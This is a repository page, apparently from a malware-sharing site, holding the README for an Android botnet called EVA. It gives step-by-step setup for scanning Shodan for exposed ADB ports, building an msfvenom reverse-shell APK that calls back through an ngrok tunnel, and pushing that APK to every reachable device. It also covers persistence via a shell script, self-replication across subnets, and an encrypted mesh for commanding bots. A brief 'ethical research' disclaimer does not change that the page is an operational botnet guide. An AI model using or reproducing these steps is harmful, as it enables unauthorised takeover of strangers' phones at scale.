← back to reliquary

Eva_adb_botnet

21 files

README

# EVA ADB Botnet
image0

Purpose: Ethical cybersecurity research, mesh-based botnet exploration, long-term persistent control of Android devices via open ADB, and encrypted peer-to-peer botnet mesh command.

Getting Started (Clone + Setup)

To install EVA on any Linux system:

1. Clone the repository

git clone https://github.com/ekomsSavior/Eva_adb_botnet.git
cd Eva_adb_botnet
````

### 2. Install dependencies

```bash
sudo apt update && sudo apt install -y android-tools-adb python3-pip metasploit-framework
pip3 install pycryptodome requests
mkdir -p bots

Optional ADB Install (Manual Method)

If you're having issues with the packaged ADB:

sudo mkdir -p /opt/android-platform-tools
cd /opt/android-platform-tools
sudo wget https://dl.google.com/android/repository/platform-tools-latest-linux.zip
sudo unzip platform-tools-latest-linux.zip
sudo mv platform-tools/* .
sudo rm -r platform-tools platform-tools-latest-linux.zip

Then add ADB to your PATH permanently:

echo 'export PATH=$PATH:/opt/android-platform-tools' >> ~/.bashrc
source ~/.bashrc

Ngrok Setup

EVA uses ngrok to forward ADB and payload ports publicly.

1. Download & install ngrok

cd ~/Eva_adb_botnet
wget https://bin.equinox.io/c/bNyj1mQVY4c/ngrok-stable-linux-amd64.zip
unzip ngrok-stable-linux-amd64.zip
chmod +x ngrok

2. Add your ngrok auth token

./ngrok config add-authtoken <your_token_here>

3. Start a tunnel for your payload listener

./ngrok tcp 1337

Copy the forwarded ngrok domain and port — you’ll need them in the payload config below.

You will need a paid ngrok account for tcp comms. their basic personal dev membership is only $8 and completly worth it.

One-Time Configuration (Before Launch)

1. Set your Shodan API key

Edit adb_reaper.py and replace this:

SHODAN_API_KEY = 'YOUR_SHODAN_API_KEY'

2. Configure msfvenom payload generation

Edit metasploit_launcher.py (which now builds the payload using msfvenom):

LHOST = "0.tcp.ngrok.io"     # your forwarded ngrok domain
LPORT = "12345"              # your forwarded port
OUTPUT = "adb_payload.apk"   # payload filename

This file generates a ready-to-push APK payload.

3. Update payload path in dropper

Edit adb_dropper.py:

ADB_PAYLOAD = "adb_payload.apk"

EVA will push this APK to every connected ADB device.

4. Set AES encryption key (optional but recommended)

Edit jeangrey_crypto.py:

SECRET_KEY = b'ChangeThis16Byte!'  # Use a secure 16-byte AES key

image1

Full Botnet Launch

python3 EVA_launcher.py

This will:

  • Generate your payload via msfvenom
  • Scan Shodan for exposed Android ADB targets
  • Push the payload to infected devices
  • Start encrypted mesh communication
  • Begin peer discovery + replication
  • Launch AI triggers + EVA Core

View Active Bots

python3 eva_dashboard.py
  • Shows IPs, tags, status
  • Auto-refreshes every 3s

Send Commands to Bots

python3 eva_core.py

Supported commands:

  • scan – search nearby ADB devices
  • drop – re-deploy payload
  • report – show bot state
  • shutdown – terminate a bot

Autonomous AI Trigger Loop

python3 eva_ai_trigger.py

Bots will:

  • Respond to mesh commands instantly
  • Auto-scan, replicate, and report
  • Operate continuously on mesh triggers

Replication + Persistence

Bots will:

  • Replicate to local subnet ADB devices
  • Update jeangrey_state.json regularly
  • Persist across reboot via .bashrc

Manual persistence install:

adb push jeangrey_persist.sh /sdcard/Download/
adb shell sh /sdcard/Download/jeangrey_persist.sh

Bot Management

python3 state_editor.py

Allows you to:

  • Rename bots
  • Tag/untag
  • View/edit JSON
  • Delete infected nodes

Directory Layout

Eva_adb_botnet/
├── EVA_launcher.py
├── metasploit_launcher.py       ← Generates msfvenom payload
├── adb_dropper.py               ← Pushes APK payload
├── adb_reaper.py                ← Shodan scraper
├── eva_core.py                  ← Sends mesh commands
├── eva_ai_trigger.py           ← Bot AI responder
├── eva_dashboard.py            ← Live bot status viewer
├── jeangrey_android.py         ← Bot implant logic
├── jeangrey_persist.sh         ← Android persistence
├── jeangrey_crypto.py
├── jeangrey_mesh.py
├── jeangrey_replication.py
├── jeangrey_tunnel.py
├── jeangrey_injector.py
├── state_editor.py
├── ngrok
└── bots/
    └── bot_<ip>/
        └── jeangrey_state.json

⚠️ Legal & Ethical Notice

EVA is a research framework designed for:

  • Educational use
  • Controlled environments
  • Enviroments you have permission to test on.

Do not deploy against unauthorized targets. Misuse may be illegal. You are responsible.

Vision

EVA is not just a botnet — she's a mesh-aware framework.
She replicates. She listens. She obeys.

source code

files

viewer

select a file
// click a file to view source

license

MIT License Copyright (c) 2026 ek0mssavi0r / Church of Malware Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. USE AT YOUR OWN RISK. NO WARRANTY PROVIDED.
download .zip // inspect all source before execution
Church of Malware · read. become. evolve.